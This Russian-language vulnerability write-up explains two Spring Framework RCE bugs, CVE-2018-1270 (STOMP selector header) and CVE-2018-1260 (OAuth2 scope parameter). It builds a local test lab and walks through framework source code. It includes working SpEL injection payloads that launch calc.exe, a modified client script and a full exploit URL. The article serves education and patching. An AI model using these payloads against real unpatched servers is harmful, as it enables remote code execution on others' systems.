Как работают две критические уязвимости в Spring Framework

Как работают две критические уязвимости в Spring Framework

https://t.me/CyberLifes


Spring — это популярнейший фреймворк для разработки на Java, на нем базируются сотни решений в самых разных областях. Тут и всевозможные веб-сайты, и энтерпрайз-сервисы, и много другого. Трудно найти серьезное приложение на Java, которое бы не использовало Spring. Недавно в нем были найдены две критические уязвимости, которые приводят к удаленному исполнению кода. Давай посмотрим, как они работают.

Первая уязвимость (CVE-2018-1270) касается модуля для работы с веб-сокетами, вторая (CVE-2018-1260) — модуля авторизации по протоколу OAuth2. Но прежде чем разбирать их, подготовим стенд для тестирования.

 

Стенд

Снова мои любимые стенды для Java, да еще и с модулями фреймворка, о чем еще можно мечтать?


В работе нам понадобятся:

  • любая операционка;
  • Docker;
  • Java 8;
  • Maven или другая Ant-подобная тулза для билда;
  • в идеале какая-нибудь IDE, но и обычный текстовый редактор сойдет.

Как ты уже понял, для каждой уязвимости нужно будет скачивать, компилировать и запускать приложения, написанные на Java. Компиляция и запуск в общем случае будут сводиться к паре команд.

$ mvn package
$ java -jar target\package.jar

Если воспользуешься IDE, то процесс будет более наглядным. Я для своей работы возьму IntelliJ IDEA. Все остальные манипуляции рассмотрим по ходу разбора уязвимостей. Погнали!

 

RCE в модуле spring-messaging (CVE-2018-1270)

Первый баг в списке — это удаленное выполнение команд в модуле spring-messaging, который входит в стандартную поставку Spring Framework. Уязвимость, найденная 5 апреля, получила идентификатор CVE-2018-1270 и имеет статус критической. Она затрагивает все версии фреймворка из веток 4 и 5, вплоть до актуальных 4.3.14 и 5.0.4. Проблема заключается в некорректной логике обработки STOMP-сообщений (Simple/Streaming Text Oriented Message Protocol) и легко эксплуатируется удаленно.

STOMP — это специально спроектированный протокол обмена сообщениями. Он прост и основан на фреймах, подобно HTTP. Фрейм состоит из команды, необязательных заголовков и необязательного тела. Благодаря своей простоте STOMP может быть реализован поверх большого количества других протоколов, таких как RabbitMQ, ActiveMQ и других. Также можно успешно организовать работу поверх WebSockets. Именно этот способ нам интересен в рамках уязвимости, так как проблема находится в модуле spring-messaging, в реализации протокола STOMP.

Для тестирования уязвимости нам потребуется скачать примеры использования STOMP из репозитория https://github.com/spring-guides/gs-messaging-stomp-websocket. Подойдет любой коммит до 5 апреля.

Коммиты в репозитории с примерами работы протокола STOMP
$ git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
$ cd gs-messaging-stomp-websocket
$ git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

Теперь заглянем в папку, где хранится фронтенд. Нас интересует файл app.js, а в нем — функция, которая отвечает за подключение клиента к серверу. Для этих целей здесь используется библиотека SockJS.

/gs-messaging-stomp-websocket/complete/src/main/resources/static/app.js

15: function connect() {
16:     var socket = new SockJS('/gs-guide-websocket');
17:     stompClient = Stomp.over(socket);
18:     stompClient.connect({}, function (frame) {
19:         setConnected(true);
20:         console.log('Connected: ' + frame);
21:         stompClient.subscribe('/topic/greetings', function (greeting) {
22:             showGreeting(JSON.parse(greeting.body).content);
23:         });
24:     });
25: }

Нам нужно добавить переменную с пейлоадом, которая будет отправляться в качестве заголовка selector при создании подключения. Для облегчения эксплуатации можно сделать это до компиляции.

15: function connect() {
16:     var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
17:     var socket = new SockJS('/gs-guide-websocket');
18:     stompClient = Stomp.over(socket);
19:     stompClient.connect({}, function (frame) {
20:         setConnected(true);
21:         console.log('Connected: ' + frame);
22:         stompClient.subscribe('/topic/greetings', function (greeting) {
23:             showGreeting(JSON.parse(greeting.body).content);
24:         }, header);
25:     });
26: }

После этого можно откомпилировать и запустить приложение.

$ cd complete
$ mvn package
$ java -jar target/gs-messaging-stomp-websocket-0.1.0.jar
Запущенное приложение для тестирования STOMP


Согласно спецификации протокола STOMP переданные в хидере selector данные будут использоваться для фильтрации информации о подписках.

В файле DefaultSubscriptionRegistry.java имеется функция, которая отрабатывает при создании нового подключения, где генерируется новая подписка на события для этого клиента.

/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java

139: @Override
140: protected void addSubscriptionInternal(
141:         String sessionId, String subsId, String destination, Message<?> message) {
142:
143:     Expression expression = null;
144:     MessageHeaders headers = message.getHeaders();
145:     String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);
...
160:     this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
161:     this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);

А если встречается хидер selector, то его содержимое интерпретируется как выражение на языке SpEL (Spring Expression Language). За его обработку отвечает функция doParseExpression класса SpelExpression.

/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java

121: @Override
122: protected SpelExpression doParseExpression(String expressionString, @Nullable ParserContext context)
123:         throws ParseException {
124:
125:     try {
126:         this.expressionString = expressionString;
127:         Tokenizer tokenizer = new Tokenizer(expressionString);
128:         this.tokenStream = tokenizer.process();
129:         this.tokenStreamLength = this.tokenStream.size();
130:         this.tokenStreamPointer = 0;
131:         this.constructedNodes.clear();
132:         SpelNodeImpl ast = eatExpression();
133:         Assert.state(ast != null, "No node");
Обработка заголовка selector при создании соединения


Здесь есть возможность вызова конструктора java.lang.Class при помощи модификатора T.

Парсинг выражения, переданного в selector


Это значит, что мы довольно просто можем создать экземпляр объекта java.lang.Runtime и выполнить произвольную команду при помощи метода exec.

Обработанное выражение на SpEL, переданное в selector


Теперь, после того как селектор привязан к сообщениям, на которые подписан пользователь, можно продолжать общение с сервером, чтобы начать получать эти самые сообщения. Для этого в примере предусмотрен стандартный Hello, %username%.

Когда гость отправит имя с помощью соответствующей формы, сервер должен его поприветствовать. То есть он должен выслать ответ всем пользователям, которые подписаны на это событие. Этим занимается функция sendMessageToSubscribers, в которой выполняется метод findSubscriptions. Он находит всех адресатов, которые были подписаны на сообщения этого типа.

/org/springframework/messaging/simp/broker/SimpleBrokerMessageHandler.java

349: protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message) {
350:     MultiValueMap<String,String> subscriptions = this.subscriptionRegistry.findSubscriptions(message);
351:     if (!subscriptions.isEmpty() && logger.isDebugEnabled()) {
352:         logger.debug("Broadcasting to " + subscriptions.size() + " sessions.");
353:     }

Далее попадаем в метод findSubscriptionsInternal. Внутри него происходит вызов filterSubscriptions.

/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java

183: @Override
184: protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) {
185:     MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message);
186:     return filterSubscriptions(result, message);
187: }
188:
189: private MultiValueMap<String, String> filterSubscriptions(
190:         MultiValueMap<String, String> allMatches, Message<?> message) {
191:
...
207:             Expression expression = sub.getSelectorExpression();

Этот метод выполняет выборку всех переданных ранее правил, чтобы затем на их основе выполнить фильтрацию сообщения. Тут же, разумеется, находится и наш экспрешн.

Найденные фильтры для текущего сообщения


Дальше за дело берется обработчик выражений SpEL, вызывается метод getValueInternal. В него передается контекст, в котором будет выполняться наше выражение, и его атрибуты.

/org/springframework/expression/spel/ast/MethodReference.java

84: @Override
85: public TypedValue getValueInternal(ExpressionState state) throws EvaluationException {
86:     EvaluationContext evaluationContext = state.getEvaluationContext();
87:     Object value = state.getActiveContextObject().getValue();
88:     TypeDescriptor targetType = state.getActiveContextObject().getTypeDescriptor();
89:     Object[] arguments = getArguments(state);
90:     TypedValue result = getValueInternal(evaluationContext, value, targetType, arguments);
91:     updateExitTypeDescriptor();
92:     return result;
93: }

Так как мы используем экземпляр класса java.lang.Runtime, именно он и будет вызван через обертку MethodExecutor.

/org/springframework/expression/spel/ast/MethodReference.java

095: private TypedValue getValueInternal(EvaluationContext evaluationContext,
096:         @Nullable Object value, @Nullable TypeDescriptor targetType, Object[] arguments) {
...
104:     MethodExecutor executorToUse = getCachedExecutor(evaluationContext, value, targetType, argumentTypes);
105:     if (executorToUse != null) {
106:         try {
107:             return executorToUse.execute(evaluationContext, value, arguments);
Вызов переданного пейлоада с помощью ReflectiveMethodExecutor


Затем вызывается метод execute, и мы наблюдаем открывшееся окошко калькулятора.

/org/springframework/expression/spel/support/ReflectiveMethodExecutor.java

110: @Override
111: public TypedValue execute(EvaluationContext context, Object target, Object... arguments) throws AccessException {
112:     try {
113:         this.argumentConversionOccurred = ReflectionHelper.convertArguments(
114:                 context.getTypeConverter(), arguments, this.method, this.varargsPosition);
115:         if (this.method.isVarArgs()) {
116:             arguments = ReflectionHelper.setupArgumentsForVarargsInvocation(
117:                     this.method.getParameterTypes(), arguments);
118:         }
119:         ReflectionUtils.makeAccessible(this.method);
120:         Object value = this.method.invoke(target, arguments);
121:         return new TypedValue(value, new TypeDescriptor(new MethodParameter(this.method, -1)).narrow(value));
Успешная эксплуатация уязвимости CVE-2018-1270

С этим багом, пожалуй, все. Переходим к следующему.


RCE в модуле OAuth-авторизации spring-security-oauth2 (CVE-2018-1260)

Думаю, никому не нужно объяснять, что за зверь такой протокол авторизации OAuth. В интернете куча статей, которые сделают это на порядок лучше и подробнее, чем я. Так что сразу перейдем к конкретной реализации OAuth во фреймворке Spring. Для этих целей имеется модуль spring-security-oauth2.

Рассматриваемая уязвимость затрагивает следующие его версии:

  • 2.3 до 2.3.3;
  • 2.2 до 2.2.2;
  • 2.1 до 2.1.2;
  • 2.0 до 2.0.15.

Атакующий при помощи специально сформированного запроса к точке авторизации может заставить систему выполнить произвольный код после успешного входа и перенаправления на точку его подтверждения. Для успешной эксплуатации уязвимое приложение должно соответствовать некоторым требованиям:

  • работать в роли сервера авторизации (например, @EnableAuthorizationServer);
  • не иметь ограничения области видимости (по дефолту именно так);
  • использовать дефолтную точку подтверждения авторизованных пользователей.

Давай создадим эти условия. Для тестовых целей позаимствуем у наших китайских коллег пример приложения, которое использует авторизацию по протоколу OAuth2.

$ git clone https://github.com/wanghongfei/spring-security-oauth2-example.git

Теперь нужно настроить авторизацию. Для этого заглянем в метод configure из файла OAuthSecurityConfig.java и раскомментируем строки, чтобы получилось следующее.

/src/main/java/cn/com/sina/alan/oauth/config/OAuthSecurityConfig.java

67: @Override
68: public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
69:     // clients.withClientDetails(clientDetails());
70:     clients.inMemory()
71:             .withClient("client")
72:             .authorizedGrantTypes("authorization_code")
73:             .scopes();
74: }

Затем нужно создать структуру таблиц в базе данных MySQL согласно представленной на странице репозитория схеме и указать наши данные для подключения к серверу в файле application.properties. В качестве сервера MySQL я подниму контейнер Docker.

$ docker run -p3306:3306 -e MYSQL_USER="oauth" -e MYSQL_PASSWORD="TPH9YQ8lJV" -e MYSQL_DATABASE="alan-oauth" -d --rm --name=mysql --hostname=mysql mysql/mysql-server
$ docker exec -ti mysql /bin/bash
$ mysql -u oauth -D "alan-oauth" --password="TPH9YQ8lJV"

/src/main/resources/application.properties

07: spring.datasource.url=jdbc:mysql://192.168.99.100:3306/alan-oauth?characterEncoding=UTF-8
08: spring.datasource.username=oauth
09: spring.datasource.password=TPH9YQ8lJV
10: spring.datasource.driver-class-name=com.mysql.jdbc.Driver

После этого запускаем скомпилированное приложение и видим форму авторизации.

Запущенное приложение — пример авторизации через OAuth

Давай сразу к эксплоиту. Переходим по адресу

http://127.0.0.1:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D

Нас снова перебросит на форму авторизации, в которой можно указать любой логин и пароль. Нажимаем «Войти» и наблюдаем запущенный калькулятор.

Успешная эксплуатация модуля OAuth-авторизации spring-security-oauth2

Что же это за волшебная ссылка? Обрати внимание на ее параметры. redirect_uri указывает на сервис, с помощью которого мы якобы будем авторизовываться, а вот параметр области видимости (scope) содержит любопытную строку:

${T(java.lang.Runtime).getRuntime().exec("calc.exe")}

Так-так. Ничего не напоминает? Это то же самое выражение на языке Spring Expression Language (SpEL), что мы использовали при эксплуатации предыдущей уязвимости.

Когда ты переходишь по ссылке, в текущей сессии сохраняются переданные настройки для дальнейшей авторизации. После нажатия кнопки Login отрабатывает метод authorize.

/org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java

116: @RequestMapping(value = "/oauth/authorize")
117: public ModelAndView authorize(Map<String, Object> model, @RequestParam Map<String, String> parameters,
118:         SessionStatus sessionStatus, Principal principal) {
...
123:     AuthorizationRequest authorizationRequest = getOAuth2RequestFactory().createAuthorizationRequest(parameters);

Этот метод формирует запрос на сервер авторизации для получения ключа текущего пользователя. Данные, которые мы указали, передаются в переменной parameters.

Отладка формирования запроса на авторизацию

В результате будет создан экземпляр класса AuthorizationRequest. Дальше по коду начинается проверка его атрибута scope при помощи validateScope.

/org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java

135: try {
136:
137:     if (!(principal instanceof Authentication) || !((Authentication) principal).isAuthenticated()) {
138:         throw new InsufficientAuthenticationException(
139:                 "User must be authenticated with Spring Security before authorization can be completed.");
140:     }
...
156:      oauth2RequestValidator.validateScope(authorizationRequest, client);

/org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java

17: public class DefaultOAuth2RequestValidator implements OAuth2RequestValidator {
18:
19:     public void validateScope(AuthorizationRequest authorizationRequest, ClientDetails client) throws InvalidScopeException {
20:         validateScope(authorizationRequest.getScope(), client.getScope());
21:     }

/org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java

27: private void validateScope(Set<String> requestScopes, Set<String> clientScopes) {

Тут происходит сравнение данных, переданных в scope, с указанной областью видимости по умолчанию в настройках в самом начале. Так как мы не передали никакие параметры в метод scopes(), то клиенту разрешено использовать любой. Официальная документация сообщает нам, что такое поведение используется по умолчанию.

Раздел документации о параметрах настройки клиента

Если же области видимости не совпадают с указанной, то приложение возвращает исключение.

/org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java

29: if (clientScopes != null && !clientScopes.isEmpty()) {
30:     for (String scope : requestScopes) {
31:         if (!clientScopes.contains(scope)) {
32:             throw new InvalidScopeException("Invalid scope: " + scope, clientScopes);
33:         }
34:     }
35: }

Исключение также приведет к отсутствию переданного параметра scope в запросе.

/org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java

37:     if (requestScopes.isEmpty()) {
38:         throw new InvalidScopeException("Empty scope (either the client or the user is not allowed the requested scopes)");
39:     }
40: }

Если все проверки прошли успешно, то приложение переходит к фазе непосредственной авторизации.

/org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java

180: model.put("authorizationRequest", authorizationRequest);
181:
182: return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal);

Согласно переданным данным метод getUserApprovalPageResponse перенаправляет наш вызов на страницу подтверждения доступа /oauth/confirm_access.

AuthorizationEndpoint.java

242: private ModelAndView getUserApprovalPageResponse(Map<String, Object> model,
243:         AuthorizationRequest authorizationRequest, Authentication principal) {
244:     logger.debug("Loading user approval page: " + userApprovalPage);
245:     model.putAll(userApprovalHandler.getUserApprovalRequest(authorizationRequest, principal));
246:     return new ModelAndView(userApprovalPage, model);
247: }
Перенаправление на страницу /oauth/confirm_access

В итоге выполнение передается в метод getAccessConfirmation класса WhitelabelApprovalEndpoint.

/org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java

17: @SessionAttributes("authorizationRequest")
18: public class WhitelabelApprovalEndpoint {
19:
20:     @RequestMapping("/oauth/confirm_access")
21:     public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception {
22:         String template = createTemplate(model, request);

Разумеется, перед выводом страницы пользователю ее нужно создать. Этим и занимается createTemplate. В аргументе model находится сформированный нами ранее запрос на авторизацию.

/org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java

29: protected String createTemplate(Map<String, Object> model, HttpServletRequest request) {
30:     String template = TEMPLATE;

Константа TEMPLATE содержит в себе исходный код страницы с разными плейсхолдерами, которые в дальнейшем будут заменены на актуальные для текущего юзера данные.

<html><body><h1>OAuth Approval</h1><p>Do you authorize '${authorizationRequest.clientId}' to access your protected resources?</p><form id='confirmationForm' name='confirmationForm' action='${path}/oauth/authorize' method='post'><input name='user_oauth_approval' value='true' type='hidden'/>%csrf%%scopes%<label><input name='authorize' value='Authorize' type='submit'/></label></form>%denial%</body></html>

Обрати внимание на %scopes%. Информация о переданной области видимости отображается на странице.

/org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java

31:     if (model.containsKey("scopes") || request.getAttribute("scopes") != null) {
32:         template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", "");
33:     }
34:     else {
35:         template = template.replace("%scopes%", "").replace("%denial%", DENIAL);
36:     }
...
43:     return template;
44: }

После всех манипуляций сформированный template выглядит следующим образом:

<html><body><h1>OAuth Approval</h1><p>Do you authorize '${authorizationRequest.clientId}' to access your protected resources?</p><form id='confirmationForm' name='confirmationForm' action='${path}/oauth/authorize' method='post'><input name='user_oauth_approval' value='true' type='hidden'/><input type='hidden' name='${_csrf.parameterName}' value='${_csrf.token}' /><ul><li><div class='form-group'>scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}: <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='true'>Approve</input> <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='false' checked>Deny</input></div></li></ul><label><input name='authorize' value='Authorize' type='submit'/></label></form></body></html>

Следим за приключениями нашей строки. Теперь она приземлилась здесь:

scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}

А дальше подготовленный шаблон передается в SpelView.

/org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java

26: return new ModelAndView(new SpelView(template), model);

Таким образом, весь шаблон интерпретируется как выражение SpEL. Как ты уже знаешь, он разрешает использовать конструкции с оператором T для вызова экземпляров java.lang.Class. Этим прекрасным фактом в очередной раз и воспользуемся — для выполнения кода через метод exec класса java.lang.Runtime. Ну а дальше все по накатанной: наш пейлоад парсится с помощью parseExpression и в итоге запускается калькулятор.

Парсинг переданного пейлоада для выполнения команды calc.exe

SpelView.java

48: public SpelView(String template) {
49:     this.template = template;
50:     this.prefix = new RandomValueStringGenerator().generate() + "{";
51:     this.context.addPropertyAccessor(new MapAccessor());
52:     this.resolver = new PlaceholderResolver() {
53:         public String resolvePlaceholder(String name) {
54:             Expression expression = parser.parseExpression(name);


Выводы

Это далеко не все уязвимости, которые были за последнее время найдены в Spring 2. Например, советую обратить внимание на XXE-уязвимость в XMLBeam и проблему обработки ZIP-архивов в модуле spring-integration-zip, которая позволяет выйти из директории при распаковке специально сформированных архивов.

Похоже, исследователи серьезно взялись за фреймворк: за последние несколько месяцев в его недрах найдено много серьезных проблем. Так как речь идет о приложениях, написанных на Java, дело может осложнять и жесткая привязка к конкретным версиям модулей.

Экосистема Java известна тем, что при работе с ней нередко возникают вопросы о частичной несовместимости старого кода с обновленными компонентами. Мне постоянно встречаются допотопные версии приложений, написанные именно на Java.

В общем, если у тебя где-то стоят приложения, написанные с использованием Spring 2, не зевай и своевременно обновляй их (по возможности) или накатывай секьюрити-патчи на существующие части своей инфраструктуры.


Report Page